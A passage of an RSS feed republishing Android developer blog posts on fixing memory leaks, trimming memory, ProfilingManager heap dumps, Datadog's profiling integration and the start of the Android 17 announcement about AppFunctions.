        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog


  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Althoug...]]></description>
<link>https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:39 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/a/AVvXsEh92CmF7Hos-AKsEmr3k9Va10fhbed32pj4r9wxbUAlpyAIh2GV0KhvsRYzkmATQgflpHYdfAgdFkRfq1ki2G7ty5wKfzoaoyYknCOEjb6Auz7r0Zcfk0tR6VCX-3o3L9fpcs419uI5iNdBiOtno7ughGWD0SGJ5n3sfWPEB7ZJ9M_HQFDLhBQ_hv3HFQ8">
<p>Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA"><img alt="" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA=s16000"></a></div><br><br><p></p>

<p>
  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.
</p>

<p>Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the <em>why</em> behind a performance bottleneck.
</p>

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

<h3>The impact of ProfilingManager</h3><p>
  ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s1280/AANDDM_DataDog_Quote_01.png"><img alt="ProfilingManager is a highly performant solution for code-level insights.  Of the solutions we evaluated, it has the lowest runtime overhead,  gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog" border="0" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s16000/AANDDM_DataDog_Quote_01.png"></a></div><br><p><br></p>

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

<h3>Solving the Android code-level visibility challenge</h3><p>
  Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.</p><div><span face='"Google Sans", sans-serif'><br></span></div><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o"><img alt="We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o=s16000"></a></div><br><br><p></p>

<p>
  To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.
</p>

<p>
  ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health. 
</p>

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

<ul>
  <li>
    <strong>Granular session diagnostics:</strong> ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the <a href="https://ui.perfetto.dev/">Perfetto UI</a>. 
  </li>
  <li>
    <strong>Automated telemetry triggers:</strong> By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*xix6h8*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_APP_FULLY_DRAWN">APP_FULLY_DRAWN </a>signal, there are already plans to expand this observability to include <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1hl4p7n*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_ANR">ANR</a>, <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*8x3pd*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_OOM">OOM</a>, and <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1ezx2ma*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_COLD_START">COLD_START</a> triggers.</li>
  <li>
    <strong>Proactive trace snapshots:</strong> By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation. 
  </li>
  <li>
    <strong>Bottleneck detection at scale:</strong> Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  </li>
  <li>
    <strong>System-enforced resource stability:</strong> The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  </li>
  <li>
    <strong>On-device data controls:</strong> ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.</li>
</ul>

<h3>Processing millions of weekly profiles to optimize real-world apps</h3><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s3464/datadog-profiling-blogpost-final.png"><img border="0" data-original-height="1686" data-original-width="3464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s16000/datadog-profiling-blogpost-final.png"></a></div><i><div><i>An example of Datadog's time to initial display measurement with </i></div><div><i>stack sampling powered by ProfilingManager</i></div></i><br>Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. <span><span>Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. </span></span>Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.<br><br>The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices. <p></p><h3>Conclusion</h3><p>By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/overview">documentation</a>.</p>

<p>
  In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.
</p>

<p>
  To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit <a href="https://www.datadoghq.com/dg/real-user-monitoring/android-profiling/?utm_source=inbound&amp;utm_medium=corpsite-display&amp;utm_campaign=int-rum-ww-blog-announcement-announcement-androidprofilerblog2026">Datadog Mobile Real User Monitoring</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
